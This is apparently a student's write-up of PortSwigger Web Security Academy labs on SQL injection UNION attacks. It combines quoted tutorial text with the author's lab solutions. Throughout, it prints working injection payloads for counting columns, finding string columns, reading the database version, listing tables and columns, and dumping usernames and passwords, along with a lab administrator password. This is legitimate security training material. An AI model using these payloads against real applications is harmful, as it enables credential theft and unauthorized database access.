# SQL Injection - Part 2 (Practical on PortSwigger)
###### tags: `vulnerable` `top10owasp` `exploits` `tutorials` `payload`
# Union Querry Lab
**SQL injection UNION attacks**
When an application is vulnerable to SQL injection and the results of the query are returned within the application's responses, the UNION keyword can be used to retrieve data from other tables within the database. This results in an SQL injection UNION attack.
The UNION keyword lets you execute one or more additional SELECT queries and append the results to the original query. For example:
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
This SQL query will return a single result set with two columns, containing values from columns a and b in table1 and columns c and d in table2.
For a UNION query to work, two key requirements must be met:
* The individual queries must return the same number of columns.
* The data types in each column must be compatible between the individual queries.
To carry out an SQL injection UNION attack, you need to ensure that your attack meets these two requirements. This generally involves figuring out:
* How many columns are being returned from the original query?
* Which columns returned from the original query are of a suitable data type to hold the results from the injected query?
## Determining the number of columns required in an SQL injection UNION attack
When performing an SQL injection UNION attack, there are two effective methods to determine how many columns are being returned from the original query.
The first method involves injecting a series of ORDER BY clauses and incrementing the specified column index until an error occurs. For example, assuming the injection point is a quoted string within the WHERE clause of the original query, you would submit:
```
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
```
This series of payloads modifies the original query to order the results by different columns in the result set. The column in an ORDER BY clause can be specified by its index, so you don't need to know the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an error, such as:
**The ORDER BY position number 3 is out of range of the number of items in the select list.**
The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results. Provided you can detect some difference in the application's response, you can infer how many columns are being returned from the query.
The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:
```
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
```
If the number of nulls does not match the number of columns, the database returns an error, such as:
**All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.**
Again, the application might actually return this error message, or might just return a generic error or no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column. The effect on the resulting HTTP response depends on the application's code. If you are lucky, you will see some additional content within the response, such as an extra row on an HTML table. Otherwise, the null values might trigger a different error, such as a NullPointerException. Worst case, the response might be indistinguishable from that which is caused by an incorrect number of nulls, making this method of determining the column count ineffective.
Note
* The reason for using NULL as the values returned from the injected SELECT query is that the data types in each column must be compatible between the original and the injected queries. Since NULL is convertible to every commonly used data type, using NULL maximizes the chance that the payload will succeed when the column count is correct.
* On Oracle, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table on Oracle called dual which can be used for this purpose. So the injected queries on Oracle would need to look like:
' UNION SELECT NULL FROM DUAL--
* The payloads described use the double-dash comment sequence -- to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character # can be used to identify a comment.
* For more details of database-specific syntax, see the SQL injection cheat sheet.
Answer:
- For this LAB SQL injection UNION attack, determining the number of columns returned by the query, U just up the payload 'UNION SELECT NULL-- to search how many column exist in database
- It will return error if we not determine right for each NULL we will add some factor to to find the column you can know each NULL it will representive for column
- And we will need to Up payload for somewhere because this querry cause other select so we can take category para on URL to form perform SQL Injection and i did it with
- ' UNION SELECT NULL,NULL,NULL-- it right and return for me database, not like 2 situation with NULL-- or NULL,NULL--
## Finding columns with a useful data type in an SQL injection UNION attack
The reason for performing an SQL injection UNION attack is to be able to retrieve the results from an injected query. Generally, the interesting data that you want to retrieve will be in string form, so you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.
Having already determined the number of required columns, you can probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:
```
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
```
If the data type of a column is not compatible with string data, the injected query will cause a database error, such as:
* Conversion failed when converting the varchar value 'a' to data type int.
If an error does not occur, and the application's response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.
Answer:
- For this LAB SQL injection UNION attack, finding a column containing text we need to take a look useful and the useful we need to find the table contain 'ywLDAY' and so with the 'UNION SELECT NULL-- we will did that
- Continue we need to focus category parameter again and take a look to determine how many table exist in database and after all that we need to replace NULL by the 'ywLDAY' and it will be process you need to done
- and yet i find it exist on the table have 3 column and payload 'UNION SELECT NULL,'ywLDAY',NULL-- will return the your result of LAB
## Using an SQL injection UNION attack to retrieve interesting data
When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data.
Suppose that:
* The original query returns two columns, both of which can hold string data.
* The injection point is a quoted string within the WHERE clause.
* The database contains a table called users with the columns username and password.
* In this situation, you can retrieve the contents of the users table by submitting the input:
`' UNION SELECT username, password FROM users--`
Of course, the crucial information needed to perform this attack is that there is a table called users with two columns called username and password. Without this information, you would be left trying to guess the names of tables and columns. In fact, all modern databases provide ways of examining the database structure, to determine what tables and columns it contains.
Answer:
- As LAB SQL injection UNION attack, retrieving data from other tables will require finding username, password from the users table contain 2 of this
- First if we use 'UNION SELECT NULL,NULL-- you will determine it contain 2 column and if you replace NULL for 'adminstrator' on the first NULL place will return adminstrator and yeah be be good
- So you know the exists of users table and the 2 of NULL is representive for 2 string and it username and password so you need to ' UNION SELECT username,password FROM users--
- And we did it the username and password of table users will return and the admin account administrator:arsm2ft7k9n1qi22fysr
## Retrieving multiple values within a single column
In the preceding example, suppose instead that the query only returns a single column.
You can easily retrieve multiple values together within this single column by concatenating the values together, ideally including a suitable separator to let you distinguish the combined values. For example, on Oracle you could submit the input:
`' UNION SELECT username || '~' || password FROM users--`
This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.
The results from the query will let you read all of the usernames and passwords, for example:
```
...
administrator~s3cure
wiener~peter
carlos~montoya
...
```
Note that different databases use different syntax to perform string concatenation. For more details, see the SQL injection cheat sheet.
Answer:
- As this LAB Lab: SQL injection UNION attack, retrieving multiple values in a single column we need to retrive the data from multiple table and combine as one column and in this situation we need to retrive the username,password like above method
- If we do method 'UNION SELECT username,password FROM users-- it not working i think the author will negative block that injection so we need to do with other method and it will combine 2 of this to one column.
- And i know it always exist 2 column username,password so we need to use this ' UNION SELECT username \|| '~' \|| password FROM users--, so with that we don't get anything what i wrong so go with hint :< and it said i need to find it in [injection cheatsheet](https://portswigger.net/web-security/sql-injection/cheat-sheet), so i don't know what i want to continious need WRITEUP and know it knew where am wrong i think data will contain seprate on 2 column but not yet first column is NULLABLE so we need do that on the second column it my bad to not check its
- NOTE: NEED TO BE CHECK ALL OF THIS WHERE WILL EXIST THE DATA CONTAIN and yeah if not use will missing something :cold_sweat:
- And yeah the payload will work with category and Injection like
```' UNION SELECT NULL,username || '~' || password FROM users```
- Take the admin and password account
and log in to adminstator log and get resolve this lab
# Examining the database in SQL injection attacks
When exploiting SQL injection vulnerabilities, it is often necessary to gather some information about the database itself. This includes the type and version of the database software, and the contents of the database in terms of which tables and columns it contains.
## Querying the database type and version
Different databases provide different ways of querying their version. You often need to try out different queries to find one that works, allowing you to determine both the type and version of the database software.
The queries to determine the database version for some popular database types are as follows:
| Database type | Query |
| ---------------- | ---------------- |
| Microsoft, MySQL | SELECT @@version |
| Oracle | SELECT * FROM v$version |
| PostgreSQL | SELECT version() |
For example, you could use a UNION attack with the following input:
`' UNION SELECT @@version--`
This might return output like the following, confirming that the database is Microsoft SQL Server, and the version that is being used:
> Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
> Mar 18 2018 09:11:49
> Copyright (c) Microsoft Corporation
> Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
Answer:
- As LAB SQL injection attack, querying the database type and version on Oracle, i need cause UNION statement to find version of Oracle database and we need make that retrive string like
`Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production`
- I am trying with payload like ' UNION SELECT * FROM v$version-- but it not return anything so we need some hint to do with that
- When i see hint it said we need table and it exist table is dual on database and we can cause FROM on that so we need check or determine how many column it return
- Let try, and it exist 2 column return with dual so we need to retrive 2 column for above statement and yeah we can do ' UNION SELECT BANNER, NULL FROM v$version-- and with BANNER it para of object tell me version of database so we need it
- For second LAB SQL injection attack, querying the database type and version on MySQL and Microsoft we will do again but replace payload and try it
- With ' UNION SELECT @@version-- we don't get anything and so we need to check the which return auto and we don't get anything from cheat sheet onething i know my sql will return
- Yet it was block comment like -- and we need change that to # to work with this type database '+UNION+SELECT+@@version,+NULL# like this but it not work
- IDK why it not work with URL so let statrted with burpsuite and yet it worked with burp LOL
- so keep try with the payload like `'+UNION+SELECT+@@version,NULL#` and yet idk but we need add + operator on space of statatement LOL :expressionless:.
## Listing the contents of the database
Answer:
- As lab: SQL injection attack, listing the database contents on non-Oracle databases we will find info of database the table contain username,password and retrievve this to access the adminstrator account
- First we need to find table is contain in table using payload like `' UNION SELECT TABLE_NAME,NULL FROM information_schema.tables--`
 replace it with this column name
- And i find bunch table and not know what table we need to use to find username,password and i decide to choose and try that right with it **'users_prdqpz'**
- Check the column name:
`' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users_prdqpz'--`
- And yeah we right with this table it too long payload but intersting :+1:, so i will keep that and get username,password with table with payload like
`' UNION SELECT username_kotucc,password_lhudab from users_prdqpz--` and we got the password
 Login and resolve it.
## Equivalent to information schema on Oracle
Answer:
- As Lab: SQL injection attack, listing the database contents on Oracle, will do exacly above but we change syntax for Oracle DB
- So will need to check or determine how return of table category because it oracle format we have dual contain 2 column so we need that to return which one we need :+1:
`' UNION SELECT table_name,NULL FROM all_tables--`
 and i decide we will use **'USERS_CVWWMQ'** table will contain it
- So we need to check it with payload:
`' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_CVWWMQ'--`
- And we take this username and password with
`' UNION SELECT USERNAME_JZBIEH,PASSWORD_OAIDRW FROM USERS_CVWWMQ--`
# So it in the end of the exploit SQLi with UNION we will reach the last of stage SQLi is [BLIND&FilterBypass](https://hackmd.io/ewHKt4CLTXuYeDKW4RKJSg).
Sign in with Wallet
Connect another wallet